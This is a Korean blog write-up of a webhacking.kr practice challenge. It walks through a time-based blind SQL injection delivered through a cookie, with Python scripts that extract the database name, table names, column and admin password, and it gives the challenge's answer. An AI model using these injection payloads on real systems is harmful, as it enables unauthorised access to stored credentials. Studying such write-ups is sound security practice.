웹해킹 challenge_old 2번 문제를 풀어보았다.
특별한 정보가 없어 소스코드를 확인하였다.
해당 주석문을 통해 단서를 얻을 수 있다.
첫번 째 주석문은 시간을 의미한다.
<!--2021-11-08 09:06:56-->
두번째 주석문은 admin.php가 존재함을 알려준다.
admin.php로 이동해보니 비밀번호를 입력하는 창이 나오는데,
SQL 문제라고 생각되어 'or 1=1--으로 값을 대입해봤지만 wrong password라고 나타났다.
일단 비밀번호에 대한 정보가 없기 때문에 시간 주석을 활용해봐야한다.
시간은 현재의 시간 값을 가리키고 있지만, 이를 해봄으로써
Blind SQL Injection이 적용될 수 있다고 생각 할 수 있다.
우선 DB내의 테이블 개수를 확인해야하기때문에 COUNT를 사용하였다.
(select count(table_name) from information_schema.tables where table_schema=database())
테이블 개수는 2개인걸 확인 할 수 있다.
이 다음부터는 오랜 시간 고민하였지만, 문제해결 방법을 찾지못해 구글링을 하였다.
그 다음으로는 테이블 길이를 추출한다.
(select length(table_name) from information_schema.tables where table_schema=database() limit 0,1)
09:00:13 인 것으로 보아 첫 번째 테이블은 13자리인 것으로 확인된다.
그 다음은 테이블 명 추출이다.
(select ascii(substring(table_name,1,1))from information_schema.tables where table_schema=database() limit 0,1)
1분 37초 하면 총 97초로 'a'인 것으,로 확인된다.
이러한 방식으로 하나하나 해서 값을 출력해볼 수도 있지만, 너무 오래걸리기 때문에 파이썬을 통해
웹크롤링을 해야한다고 한다.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
|
import requests
url ="https://webhacking.kr/challenge/web-02/"
ck = ""
db = ""
table = ""
columns = ""
pw = ""
for i in range(1,100):
if ck ==1:
break
for k in range(33,133):
cookies={"Cookie" : "PHPSESSID=세션값; time=0 || if(ord(substr((select database()),{},1))={},1,0)".format(i,k)}
#ord(c) : 문자의 아스키 코드 값을 돌려주는 함수 / chr 함수와 반대
r =requests.get(url,cookies=cookies)
if r.text.find("09:00:01") != -1:
db+=chr(k)
break
if k == 132:
ck =1
print("Database : {}".format(db))
|
cs |
다음 결과로는 Database : chall2라고 뜬다.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
|
import requests
url ="https://webhacking.kr/challenge/web-02/"
ck = ""
db = ""
table = ""
columns = ""
pw = ""
for i in range(1,100):
if ck ==1:
break
for k in range(33,133):
cookies={"Cookie" : "PHPSESSID=세션값; time=0 || if(ord(substr((SELECT group_concat(TABLE_NAME)"
"FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA='chall2'),{},1))={},1,0)".format(i,k)}
r =requests.get(url,cookies=cookies)
if r.text.find("09:00:01") != -1:
table+=chr(k)
break
if k == 132:
ck =1
print("Table : {}".format(table))
|
cs |
이번에는 테이블 명 추출이다.
테이블명은 admin_area_pw, log이다.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
|
import requests
url ="https://webhacking.kr/challenge/web-02/"
ck = ""
db = ""
table = ""
columns = ""
pw = ""
for i in range(1,100):
if ck ==1:
break
for k in range(33,133):
cookies={"Cookie" : "PHPSESSID=세션값; time=0 || if(ord(substr((SELECT group_concat(COLUMN_NAME)"
"FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='admin_area_pw'),{},1))={},1,0)".format(i,k)}
r =requests.get(url,cookies=cookies)
if r.text.find("09:00:01") != -1:
columns+=chr(k)
break
if k == 132:
ck =1
print("COLUMN : {}".format(columns))
|
cs |
컬럼명 출력이다.
admin_area_pw : pw
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
|
import requests
url ="https://webhacking.kr/challenge/web-02/"
ck = ""
db = ""
table = ""
columns = ""
pw = ""
for i in range(1,100):
if ck ==1:
break
for k in range(33,133):
cookies={"Cookie" : "PHPSESSID=세션값; time=0 ||"
" if(ord(substr((select pw from admin_area_pw),{},1))={},1,0)".format(i,k)}
r =requests.get(url,cookies=cookies)
if r.text.find("09:00:01") != -1:
pw+=chr(k)
break
if k == 132:
ck =1
print("Password : {}".format(pw))
|
cs |
최종적으로 패스워드를 출력해보면
Password : kudos_to_beistlab
이라고 나타난다.
추출한 패스워드를 admin.php 입력창에 입력하게되면 성공하게 된다.
너무 어렵다....공부 열심히 하자...
'Web > Webhacking' 카테고리의 다른 글
Webhacking - challenge(old) 23번 (0) | 2021.11.13 |
---|---|
Webhacking - challenge(old) 55번 (0) | 2021.11.08 |
Webhacking - challenge(old) 27번 (0) | 2021.10.16 |
Webhacking - challenge(old) 18번 (0) | 2021.10.16 |
Webhacking - challenge(old) 26번 (0) | 2021.09.25 |